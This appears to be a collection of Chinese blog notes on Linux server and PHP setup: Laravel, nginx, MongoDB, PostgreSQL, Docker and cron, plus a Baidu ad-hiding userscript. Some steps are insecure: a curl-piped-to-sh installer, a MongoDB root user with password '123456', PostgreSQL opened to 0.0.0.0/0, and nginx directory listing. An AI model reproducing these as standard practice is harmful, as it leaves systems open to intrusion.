use Illuminate\Http\Request;
use MyCrypt;
class IndexController extends Controller{

    public function test(){
        $crypt =  MyCrypt::select('rsa_api');
        $crypt->makeKey();
        $short = "abcd";
        $long = "
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
            aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

        $req['short'] = $short;
        $req['short_private_encrypt'] = $crypt->encryptPrivate($short);
        $req['short_public_decrypt'] = $crypt->decryptPublic($req['short_private_encrypt']);

        $req['long'] = $long;
        $req['long_private_encrypt'] = $crypt->encryptPrivate($long);
        $req['long_public_decrypt'] = $crypt->decryptPublic($req['long_private_encrypt']);
        dump($req);
        //dd($req);
    }
}
  • 在/routes/web.php添加路由
Route::get('/test',  'IndexController@test');
  • 浏览器访问验证结果

安装ntp

yum -y install ntp

同步时间

ntpdate  pool.ntp.org

将ntp服务设为开机启动

chkconfig ntpd on

重启ntp服务

service ntpd restart

查看ntp服务状态

service ntpd status

浙大镜像源

浙大镜像源列表地址
http://mirrors.zju.edu.cn/epel/7/x86_64/e/

安装浙大镜像源方法

rpm -Uvh http://mirrors.zju.edu.cn/epel/7/x86_64/e/epel-release-7-8.noarch.rpm
#此链接可能会时常更新,具体可在上面的"浙大镜像源列表地址"中寻找命名为epel-release-7-*.noarch.rpm的文件地址

中科大镜像源

中科大镜像源官方使用方法
https://lug.ustc.edu.cn/wiki/mirrors/help/centos

首先备份CentOS-Base.repo

cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup

编辑CentOS-Base.repo文件

vi /etc/yum.repos.d/CentOS-Base.repo
# CentOS-Base.repo
#
# The mirror system uses the connecting IP address of the client and the
# update status of each mirror to pick mirrors that are updated to and
# geographically close to the client.  You should use this for CentOS updates
# unless you are manually picking other mirrors.
#
# If the mirrorlist= does not work for you, as a fall back you can try the
# remarked out baseurl= line instead.
#
#

[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os
baseurl=http://mirrors.ustc.edu.cn/centos/$releasever/os/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

#released updates
[updates]
name=CentOS-$releasever - Updates
# mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates
baseurl=http://mirrors.ustc.edu.cn/centos/$releasever/updates/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
# mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras
baseurl=http://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
# mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus
baseurl=http://mirrors.ustc.edu.cn/centos/$releasever/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

debugbar

composer require barryvdh/laravel-debugbar

编辑config/app.php

providers中添加 Barryvdh\Debugbar\ServiceProvider::class,
aliases中添加'Debugbar' => Barryvdh\Debugbar\Facade::class,

命令行执行

php artisan vendor:publish

路由处添加

\Debugbar::enable();

debugbar 设置 , 编辑config/debugbar.php文件


Entrust

具体使用方法-> Entrust - Laravel 用户权限系统解决方案

composer require zizaco/entrust

# 编辑config/app.php
'Zizaco\Entrust\EntrustServiceProvider',   #providers中添加
'Entrust'    => 'Zizaco\Entrust\EntrustFacade',  #aliases中添加

ide-helper

composer require barryvdh/laravel-ide-helper -dev

#providers中添加
Barryvdh\LaravelIdeHelper\IdeHelperServiceProvider::class

            $file_name="test.mp3";
            $mp3_url = "";
            header( "Pragma: public" );
            header('Expires: 0');
            header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
            header( "Cache-Control: private", false );
            header( "Content-Type: application/force-download ");
            //header( "Content-Length: " . $fileSize);
            header('Content-Disposition: attachment; filename="'.$file_name.'"');
            header('Content-Transfer-Encoding: binary');
            header('Connection: close');
            readfile($mp3_url);
            exit();

转自《Nginx配置文件nginx.conf中文详解》

通性配置

定义Nginx运行的用户和用户组

user www www;

nginx进程数,建议设置为等于CPU总核心数.

worker_processes 8;

全局错误日志定义类型,[ debug | info | notice | warn | error | crit ]

error_log /var/log/nginx/error.log info;

进程文件

pid /var/run/nginx.pid;

一个nginx进程打开的最多文件描述符数目,理论值应该是最多打开文件数(系统的值ulimit -n)与nginx进程数相除,但是nginx分配请求并不均匀,所以建议与ulimit -n的值保持一致。

worker_rlimit_nofile 65535;

工作模式与连接数上限

events
{
#参考事件模型,use [ kqueue | rtsig | epoll | /dev/poll | select | poll ]; epoll模型是Linux 2.6以上版本内核中的高性能网络I/O模型,如果跑在FreeBSD上面,就用kqueue模型。
use epoll;
#单个进程最大连接数(最大连接数=连接数*进程数)
worker_connections 65535;
}

设定http服务器

http
{
include mime.types; #文件扩展名与文件类型映射表
default_type application/octet-stream; #默认文件类型
#charset utf-8; #默认编码
server_names_hash_bucket_size 128; #服务器名字的hash表大小
client_header_buffer_size 32k; #上传文件大小限制
large_client_header_buffers 4 64k; #设定请求缓
client_max_body_size 8m; #设定请求缓
sendfile on; #开启高效文件传输模式,sendfile指令指定nginx是否调用sendfile函数来输出文件,对于普通应用设为 on,如果用来进行下载等应用磁盘IO重负载应用,可设置为off,以平衡磁盘与网络I/O处理速度,降低系统的负载。注意:如果图片显示不正常把这个改成off。
autoindex on; #开启目录列表访问,合适下载服务器,默认关闭。
tcp_nopush on; #防止网络阻塞
tcp_nodelay on; #防止网络阻塞
keepalive_timeout 120; #长连接超时时间,单位是秒

#FastCGI相关参数是为了改善网站的性能:减少资源占用,提高访问速度。下面参数看字面意思都能理解。
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 64k;
fastcgi_busy_buffers_size 128k;
fastcgi_temp_file_write_size 128k;

#gzip模块设置
gzip on; #开启gzip压缩输出
gzip_min_length 1k; #最小压缩文件大小
gzip_buffers 4 16k; #压缩缓冲区
gzip_http_version 1.0; #压缩版本(默认1.1,前端如果是squid2.5请使用1.0)
gzip_comp_level 2; #压缩等级
gzip_types text/plain application/x-javascript text/css application/xml;
#压缩类型,默认就已经包含text/html,所以下面就不用再写了,写上去也不会有问题,但是会有一个warn。
gzip_vary on;
#limit_zone crawler $binary_remote_addr 10m; #开启限制IP连接数的时候需要使用

upstream blog.ha97.com {
#upstream的负载均衡,weight是权重,可以根据机器配置定义权重。weigth参数表示权值,权值越高被分配到的几率越大。
server 192.168.80.121:80 weight=3;
server 192.168.80.122:80 weight=2;
server 192.168.80.123:80 weight=3;
}

虚拟主机的配置

server
{
#监听端口
listen 80;
#域名可以有多个,用空格隔开
index index.html index.htm index.php;
root /data/www/ha97;
location ~ .*.(php|php5)?$
{
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi.conf;
}
#图片缓存时间设置
location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$
{
expires 10d;
}
#JS和CSS缓存时间设置
location ~ .*.(js|css)?$
{
expires 1h;
}

日志格式设定

log_format access '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" $http_x_forwarded_for';
#定义本虚拟主机的访问日志
access_log /var/log/nginx/ha97access.log access;

#对 "/" 启用反向代理
location / {
proxy_pass http://127.0.0.1:88;
proxy_redirect off;
proxy_set_header X-Real-IP $remote_addr;
#后端的Web服务器可以通过X-Forwarded-For获取用户真实IP
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
#以下是一些反向代理的配置,可选。
proxy_set_header Host $host;
client_max_body_size 10m; #允许客户端请求的最大单文件字节数
client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数,
proxy_connect_timeout 90; #nginx跟后端服务器连接超时时间(代理连接超时)
proxy_send_timeout 90; #后端服务器数据回传时间(代理发送超时)
proxy_read_timeout 90; #连接成功后,后端服务器响应时间(代理接收超时)
proxy_buffer_size 4k; #设置代理服务器(nginx)保存用户头信息的缓冲区大小
proxy_buffers 4 32k; #proxy_buffers缓冲区,网页平均在32k以下的设置
proxy_busy_buffers_size 64k; #高负荷下缓冲大小(proxy_buffers*2)
proxy_temp_file_write_size 64k;
#设定缓存文件夹大小,大于这个值,将从upstream服务器传
}

设定查看Nginx状态的地址

location /NginxStatus {
stub_status on;
access_log on;
auth_basic "NginxStatus";
auth_basic_user_file conf/htpasswd;
#htpasswd文件的内容可以用apache提供的htpasswd工具来产生。
}

#本地动静分离反向代理配置
#所有jsp的页面均交由tomcat或resin处理
location ~ .(jsp|jspx|do)?$ {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://127.0.0.1:8080;
}
#所有静态文件由nginx直接读取不经过tomcat或resin
location ~ .*.(htm|html|gif|jpg|jpeg|png|bmp|swf|ioc|rar|zip|txt|flv|mid|doc|ppt|pdf|xls|mp3|wma)$
{ expires 15d; }
location ~ .*.(js|css)?$
{ expires 1h; }
}
}

其他案例分享

1.thinkphp PATH_INFO支持

可以考虑通过配置URL重写规则来模拟实现,可以参考 thinkphp 隐藏index.php

2.thinkphp 隐藏index.php

thinkphp config配置:

'URL_MODEL'          => '2', //URL模式
nginx rewrite配置:

location / { 
   if (!-e $request_filename) {
   rewrite  ^(.*)$  /index.php?s=$1  last;
   break;
    }
}

如果你的ThinkPHP安装在二级目录,Nginx的伪静态方法设置如下,其中youdomain是所在的目录名称

location /youdomain/ {
        if (!-e $request_filename){
            rewrite  ^/youdomain/(.*)$  /youdomain/index.php?s=$1  last;
        }
    }

转自《CentOS 7 升级内核到最新版本》

CentOS 7 默认内核版本为 3.10

升级内核需要使用 elrepo 的yum 源,首先我们导入 elrepo 的key

rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org

安装 elrepo 源

rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm

在yum的ELRepo源中,mainline 为最新版本的内核

#安装 ml 的内核
yum --enablerepo=elrepo-kernel install  kernel-ml-devel kernel-ml -y

修改内核启动顺序,默认启动的顺序应该为1,升级以后内核是往前面插入,为0

grub2-set-default 0

重启系统

reboot

查看 内核版本

uname -r

docker下载国外镜像时往往非常非常慢,慢到怀疑人生,最近发现了这个daocloud的加速器,用着还不错,可以提供镜像加速服务。

使用方法

linux(Centos7)环境执行下面的命令

curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://68abbefd.m.daocloud.io
service docker restart

mac环境---Docker For Mac

右键点击桌面顶栏的 docker 图标,选择 Preferences ,在 Advanced 标签下的 Registry mirrors 列表中加入下面的镜像地址:
http://68abbefd.m.daocloud.io Copy
点击 Apply & Restart 按钮使设置生效。

windows环境---Docker For Windows

在桌面右下角状态栏中右键 docker 图标,修改在 Docker Daemon 标签页中的 json ,把下面的地址:
http://68abbefd.m.daocloud.io Copy
加到"registry-mirrors"的数组里。点击 Apply 。

第一次加速时(没有其它人加速过这个镜像时),加速效果并不明显。第二次以后(有人曾经加速过这个镜像),加速效果会非常明显。

安装timidity++ 与 ffmpeg

wget http://mirror.yandex.ru/fedora/russianfedora/russianfedora/free/el/releases/6/Everything/i386/os/puias-release-6-2.R.noarch.rpm
rpm -Uvh puias-release*.noarch.rpm

http://mirror.yandex.ru/fedora/russianfedora/russianfedora/free/el/releases/6/Everything/i386/os/russianfedora-free-release-6-3.R.noarch.rpm
rpm -Uvh russianfedora-free-release*rpm
yum install timidity++

yum install ffmpeg

midi转为wav

timidity test.mid -Ow -o test.wav

wav转为mp3

ffmpeg -i test.wav -acodec libmp3lame -ab 256k test-256k.mp3

yum方式安装

vim /etc/yum.repos.d/mongodb.repo

添加以下内容

[mongodb]
name=MongoDB Repository
baseurl=http://downloads-distro.mongodb.org/repo/redhat/os/x86_64/
gpgcheck=0
enabled=1

如果系统为32位,则baseurl=http://downloads-distro.mongodb.org/repo/redhat/os/i686/

yum -y update
yum install -y mongodb-org

压缩包形式安装

cd /usr/src
wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel70-3.4.2.tgz
tar zxvf  mongodb-linux-x86_64-rhel70-3.4.2.tgz
mv mongodb-linux-x86_64-rhel70-3.4.2 mongodb
mv mongodb/ /usr/local/mongodb/
export PATH=$PATH:/usr/local/mongodb/bin

使用

启动:systemctl start mongod
状态:systemctl status mongod
状态表 : mongostat
每两秒显示五行状态表数据 : mongostat --rowcount 5 2
进入mongodb命令行模式 : mongo
连接至端口 : mongo --port 22222
关闭mongodb : systemctl stop mongod
卸载 : yum erase $(rpm -qa | grep mongodb-enterprise)

创建用户

mongo   #进入mongo控制台

use admin   #使用admin数据库
db.createUser({user:"test",pwd:"123456",roles:[{role:"root",db:"admin"}]})

卸载

service mongod stop
yum erase $(rpm -qa | grep mongodb-enterprise)

sudo rm -r /var/log/mongodb
sudo rm -r /var/lib/mongo

忘记密码后的操作步骤

编辑配置文件

vim /etc/mongod.conf

auth=false

systemctl restart mongod

#进入mongo命令行模式
mongo

#进入admin数据库
use admin

db.system.users.find()         # 查看当前帐户(密码有加密过)
db.system.users.remove({})     # 删除所有帐户
db.addUser('admin','password') # 添加新帐户

vim /etc/mongodb.conf          # 恢复 auth = true
systemctl restart mongod        # 重启 mongodb 服务

php-mongodb扩展

参考CenOS7环境安装PHP7扩展

操作系统

CentOS7

安装

$ yum install crontabs
$ systemctl status  crond.service  #查看crontab服务状态
$ systemctl start   crond.service  #启动服务
$ systemctl restart crond.service  #重启服务
$ systemctl reload  crond.service  #重新载入配置

使用

举例: /root/root.sh 要自动定时执行的脚本程序路径

$ chmod +x /root/root.sh    #对脚本文件添加执行权限,否则不能执行

$ vi /etc/crontab           #编辑配置文件
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
50 14 *  *  * root           /bin/sh /root/root.sh #表示每天14:50分执行root.sh这个脚本

$ systemctl reload  crond.service #重新载入配置

$ tail -f /var/log/cron     #查看任务日志

格式说明

[minute] [hour] [day] [mounth] [week] [user-name] [command]

  • minute:分,值为0--59
  • hour:时,值为1--23
  • day:天,值为1--31
  • month:月,值为1--12
  • weekday:星期,值为0--6 【0代表星期日,1代表星期一,依次类推】
  • user-name: 执行程序的用户名
  • command:要执行的程序路径【绝对路径】

tampermonkey使用教程(来源:知乎|貌似已被河蟹)

原脚本地址(点击查看)

使用教程

  • 浏览器安装tampermonkey插件,这个在各个浏览器几乎都能安装的。比如UC浏览器,点击扩展中心,在里面搜索tampermonkey,然后安装就可以了。
  • 安装后一般会显示在右上角,比如:3.png
  • 点击油猴子图标,再选择仪表盘4.png
  • 点击这个图标,添加脚本 5.png
  • 粘贴下面的修改版代码,然后点击保存按钮6.png
  • 然后就完成啦
  • 如果要更新tampermonkey插件的话,可以先把插件删除掉,再重新安装就好了。

描述

因为百度有时是局部刷新修改页面内容,所以使用原脚本的时候,会出现必须手动刷新页面才能去除广告的情况。还有,在点击某些链接之后,再回去看搜索页面,会看不见搜索结果,这个是因为被一个“关联推荐”广告页遮住了,针对这我也做了些处理。主要修改内容如下:

  • 修改代码逻辑,使脚本更加精简
  • 针对局部刷新问题的处理:定时判断是否有未隐藏的广告块
  • 模拟鼠标点击,关闭“关联推荐”广告
  • 修改了一些原脚本中不友好的词汇,比如 **ck
  • 增加了一个match ,还增加了对已登录状态下的首页搜索框和搜索按钮,以及浮动框不进行隐藏的判断

其它暂时还没发现什么问题,以后我会持续修改的,具体看修改后的代码吧。

修改版代码

// ==UserScript==
// @name         去除百度广告
// @namespace    http://tampermonkey.net/
// @version      1.2
// @description  去掉百度页面上的广告
// @author       axios
// @match        https://www.baidu.com/*
// @match        http://www.baidu.com/s*
// @match        http://news.baidu.com/s*
// @match        https://www.baidu.com/s*
// @match        https://news.baidu.com/s*
// @grant        none
// ==/UserScript==
window.onload = function(){
    console.log("开始干活!");
    var console_log = 0;//console日志,1打印日志,0不打印日志
    //1启用,0关闭
    var option = {
        "ad"    :   1,//推广
        "right" :   1,//右边
        "baike" :   0,//百科
        "img"   :   1,//图片
        "news"  :   1,//新闻
        "tieba" :   1,//贴吧
        "win10" :   1,//Win10
        "video" :   1,//视频
        "comic" :   1,//漫画
        "stock" :   1,//股票
        "map"   :   1,//地图
        "software": 1 //软件
    };

    var obj = {
        "ad"    :   [".ct-content",".ec_tuiguang_ppimlink",".hint_toprq_tips"],    //推广
        "right" :   ["#content_right"], //右边
        "baike" :   [".c-border"],      //百科
        "img"   :   ["#ala_img_results",'.op-img-covers-desktop-cont','.c-showurl'],//图片
        "news"  :   ['.c-offset'],      //新闻
        "tieba" :   ['.op-tieba-general-maintable','.op-tieba-star-maintable','.op-tieba-general-lookmore.op-tieba-general-mainpl'],//贴吧
        "win10" :   ['.opt_software_showarea'],         //Win10
        "video" :   ['.c-row.zx-tv-video-topinfo','.op-zx-new-tvideo-drlt'],//视频
        "comic" :   ['.op_cartoon.click-parent-reward'],//漫画
        "stock" :   ['.op_shares_simple'],              //股票
        "map"   :   ['.op_map_twoplace_table'],         //地图
        "software": ['table.c-table.op_pcsoft_table','.c-gap-top']          //软件
    };
    hideAdvertisement();
    function getElementsByClassName(a, b) {
        if (a.getElementsByClassName) {
            return a.getElementsByClassName(b);
        } else {
            return function c(m, k) {
                if (k === null) {
                    k = document;
                }
                var h = [], g = k.getElementsByTagName("div"), d = g.length, l = new RegExp("(^|\\s)" + m + "(\\s|$)"), f, e;
                for (f = 0, e = 0; f < d; f++) {
                    if (l.test(g[f].className)) {
                        h[e] = g[f];
                        e++;
                    }
                }
                return h;
            }(b, a);
        }
    }
    function Id_hide(id){
        if($(id).css('display')=="block"){
            $(id).css('display', 'none');
            if(console_log){console.log('隐藏-> '+id );}
        }
    }
    function hideAdvertisement() {
        if(option.ad == 1){//推广
            var page;
            var homeIndex = ['div#u_sp','div#s_fm','div#s_wrap','div#s_main'];//已登录状态下的首页搜索框和搜索按钮,以及浮动框
            if (document.all || document.getElementById){
                page = document.getElementsByTagName("div");
            }
            for(var i = 0;i < page.length;i++){
                var div_id;
                if(page[i].id !== ""){
                    div_id = page[i].id;
                }
            }
        }
        var option_i , obj_i , del;
        for(option_i in option){
            if(option[option_i]){
                del = obj[option_i];
                for(obj_i in del){
                    Id_hide(del[obj_i] );
                }
            }
        }
        $(".m").each(function (index,element) {
            if($(element).html() == "广告" && $(element).parent().parent().css('display')!='none'){
                if(console_log){console.log('隐藏搜索结果中的广告->'+index);}
                $(element).parent().parent().css('display','none');
            }
            if($(element).html() == "评价" && $(element).parent().parent().parent().css('display')!='none'){
                if(console_log){console.log('隐藏搜索结果中的加v广告->'+index);}
                $(element).parent().parent().parent().css('display','none');
            }
        });
        $("a span").each(function (index,element) {
            if($(element).html() == "广告" && $(element).parent().parent().css('display')!='none'){
                if(console_log){console.log('隐藏搜索结果中的广告->'+index);console.log($(element).html());}
                $(element).parent().parent().css('display','none');
            }
            if($(element).html() == "评价" && $(element).parent().parent().parent().css('display')!='none'){
                if(console_log){console.log('隐藏搜索结果中的加v广告->'+index);}
                $(element).parent().parent().parent().css('display','none');
            }
        });
    }
    setInterval (function (){
        if($('.rrecom-btn-close')){
            $('.rrecom-btn-close').click();
        }
        hideAdvertisement();
    }, 100);
};

效果

使用之前

1.png

使用之后

2.png

什么是postgresql

PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES 版本 4.2 为基础的对象关系型数据库管理系统(ORDBMS),简称pgsql,它支持大部分 SQL 标准并且提供了许多其他现代特性:复杂查询 外键 触发器 视图 事务完整性 多版本并发控制 同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的:数据类型 函数 操作符 聚集函数 索引方法 过程语言 并且,因为许可证的灵活,任何人都可以以任何目的免费使用,修改,和分发 PostgreSQL, 不管是私用,商用,还是学术研究使用。

安装postgresql

# 安装postgresql
$ yum install -y postgresql postgresql-server  

# 安装php-pgsql
$ yum install -y php-pgsql

# 查看版本
$ postgres --version

使用

数据库初始化

$ su  postgres 
$ initdb -E UTF-8 -D /var/lib/pgsql/data --locale=en_US.UTF-8 -U dbname -W

修改postgresql.conf

$ vim /var/lib/pgsql/data/postgresql.conf
listen_addresses = '*'     //监听所有ip的连接,默认是本机  
port = 5432             //这个不开也行,默认就是5432端口

修改postgresql.conf

$ vim /var/lib/pgsql/data/postgresql.conf

# TYPE  DATABASE    USER        CIDR-ADDRESS          METHOD  
# "local" is for Unix domain socket connections only  
 local   all         all                               trust  
# IPv4 local connections:  
 host    all         all         127.0.0.1/32          md5  
 host    all         all         0.0.0.0/0             md5   //这一行我加的,所有IP和用户,密码对都可以连接  
# IPv6 local connections:  
 host    all         all         ::1/128               md5  

启动并查看

$ su # 切换为root用户
#启动
$ service postgres start 

#查看状态
$ servuce postgres status

修改密码

$ su postgres #用postgres用户登录
$ psql -U postgres 
postgres=# Alter USER postgres WITH PASSWORD '***密码**';  //添加密码  
ALTER ROLE        //出现这个才算成功,第一次操作没成功,pgadmin连不上  
postgres-# \q     //退出  

Usage:
  command [options] [arguments]

Options:
  -h, --help            Display this help message
  -q, --quiet           Do not output any message
  -V, --version         Display this application version
      --ansi            Force ANSI output
      --no-ansi         Disable ANSI output
  -n, --no-interaction  Do not ask any interactive question
      --env[=ENV]       The environment the command should run under.
  -v|vv|vvv, --verbose  Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug

Available commands:
  clear-compiled       Remove the compiled class file
  down                 Put the application into maintenance mode
  env                  Display the current framework environment
  help                 Displays help for a command
  inspire              Display an inspiring quote
  list                 Lists commands
  migrate              Run the database migrations
  optimize             Optimize the framework for better performance
  serve                Serve the application on the PHP development server
  tinker               Interact with your application
  up                   Bring the application out of maintenance mode
 app
  app:name             Set the application namespace
 auth
  auth:clear-resets    Flush expired password reset tokens
 cache
  cache:clear          Flush the application cache
  cache:table          Create a migration for the cache database table
 config
  config:cache         Create a cache file for faster configuration loading
  config:clear         Remove the configuration cache file
 db
  db:seed              Seed the database with records
 event
  event:generate       Generate the missing events and listeners based on registration
 key
  key:generate         Set the application key
 make
  make:auth            Scaffold basic login and registration views and routes
  make:command         Create a new Artisan command
  make:controller      Create a new controller class
  make:event           Create a new event class
  make:job             Create a new job class
  make:listener        Create a new event listener class
  make:mail            Create a new email class
  make:middleware      Create a new middleware class
  make:migration       Create a new migration file
  make:model           Create a new Eloquent model class
  make:notification    Create a new notification class
  make:policy          Create a new policy class
  make:provider        Create a new service provider class
  make:request         Create a new form request class
  make:seeder          Create a new seeder class
  make:test            Create a new test class
 migrate
  migrate:install      Create the migration repository
  migrate:refresh      Reset and re-run all migrations
  migrate:reset        Rollback all database migrations
  migrate:rollback     Rollback the last database migration
  migrate:status       Show the status of each migration
 notifications
  notifications:table  Create a migration for the notifications table
 queue
  queue:failed         List all of the failed queue jobs
  queue:failed-table   Create a migration for the failed queue jobs database table
  queue:flush          Flush all of the failed queue jobs
  queue:forget         Delete a failed queue job
  queue:listen         Listen to a given queue
  queue:restart        Restart queue worker daemons after their current job
  queue:retry          Retry a failed queue job
  queue:table          Create a migration for the queue jobs database table
  queue:work           Process the next job on a queue
 route
  route:cache          Create a route cache file for faster route registration
  route:clear          Remove the route cache file
  route:list           List all registered routes
 schedule
  schedule:run         Run the scheduled commands
 session
  session:table        Create a migration for the session database table
 storage
  storage:link         Create a symbolic link from "public/storage" to "storage/app/public"
 vendor
  vendor:publish       Publish any publishable assets from vendor packages
 view
  view:clear           Clear all compiled view files

docker hub

安装和启动

yum install docker
service docker start      #或 systemctl  start docker.service
chkconfig docker on       #或 systemctl  enable docker.service

docker [OPTIONS]

  • --config=~/.docker 用户配置文件
  • -D, --debug debug模式
  • -H, --host=[] 以守护进程的方式连接
  • -h, --help 帮助
  • -l, --log-level=info 设置日志类别
  • --tls 使用传输层安全协议
  • --tlscacert=~/.docker/ca.pem CA地址
  • --tlscert=~/.docker/cert.pem 证书地址
  • --tlskey=~/.docker/key.pem 密钥地址
  • --tlsverify 使用传输层安全协议
  • -v, --version 打印版本号并退出

docker [COMMANDS]

attach

绑定窗口到某个已经在运行的容器:docker attach [OPTIONS] CONTAINER

  • --detach-keys 重置key
  • --no-stdin 非标准输入
  • sig-proxy=true 代理所有接收信号的进程

build

创建镜像文件

  • --build-arg=[] 变量
  • --cpu-shares CPU 共享 (相对权重)
  • --cgroup-parent 设置容器组
  • --cpu-period Limit the CPU CFS (Completely Fair Scheduler完全公平调度) period
  • --cpu-quota Limit the CPU CFS (Completely Fair Scheduler完全公平调度) quota
  • --cpuset-cpus CPUs in which to allow execution (0-3, 0,1),允许执行的cpu数
  • --cpuset-mems MEMs in which to allow execution (0-3, 0,1),允许执行的内存数
  • --disable-content-trust=true Skip image verification,跳过镜像验证
  • -f, --file Name of the Dockerfile (Default is 'PATH/Dockerfile'),dockerfile文件地址
  • --force-rm Always remove intermediate containers,强制删除相关容器
  • --help Print usage,帮助
  • --isolation Container isolation level,容器孤立等级
  • -m, --memory Memory limit,内存限制
  • --memory-swap Swap limit equal to memory plus swap: '-1' to enable unlimited swap,内存缓冲区限制
  • --no-cache Do not use cache when building the image,创建镜像时不使用缓存
  • --pull Always attempt to pull a newer version of the image,总是拉取最新版的镜像
  • -q, --quiet Suppress the build output and print image ID on success,隐藏输出,并打印镜像ID
  • --rm=true Remove intermediate containers after a successful build,成功创建时移除相关容器
  • --shm-size Size of /dev/shm, default value is 64MB,
  • -t, --tag=[] Name and optionally a tag in the 'name:tag' format
  • --ulimit=[] Ulimit options
  • -v, --volume=[] Set build-time bind mounts

commit

记录镜像:docker commit [ID] [repository]

  • -a 作者
  • -c,--change=[]
  • -m commit message
  • -p,--pause=true commit过程中暂停

cp

create

diff

events

exec

export

history

images命令

查看镜像:docker images 镜像名

  • -a 显示全部
  • --digests 摘要显示
  • -q 仅显示ID

import

info

inspect

docker inspect [OPTIONS] CONTAINER|IMAGE [CONTAINER|IMAGE...]

kill

load

login

登陆镜像

  • -e,--email E-mail
  • -p,--password 密码
  • -u,--username 用户名

logout

logs

查看docker日志:docker logs [container ID or NAMES]

  • --since timestamp 从某时间戳开始后的日志
  • -t,--timestamps 显示时间戳
  • --tail=all 行数字

network

pause

port

查看端口映射情况:docker port [NAME] 5000

ps

显示容器列表:docker ps [OPTIONS]

  • -a,--all 显示全部
  • -f,--filter=[] 基于条件的显示
  • --format 格式化显示
  • -l 显示最新的一个容器
  • -n=1 显示n个最新的容器
  • --no-trunc 非截取输出
  • q,--quiet 仅显示ID
  • -s,--size 显示完整大小

pull命令

下载镜像

push

提交镜像到镜像仓库:docker push [repository]

rename

restart

rm

rmi

清除镜像:docker rmi 镜像名

  • -f 强制删除
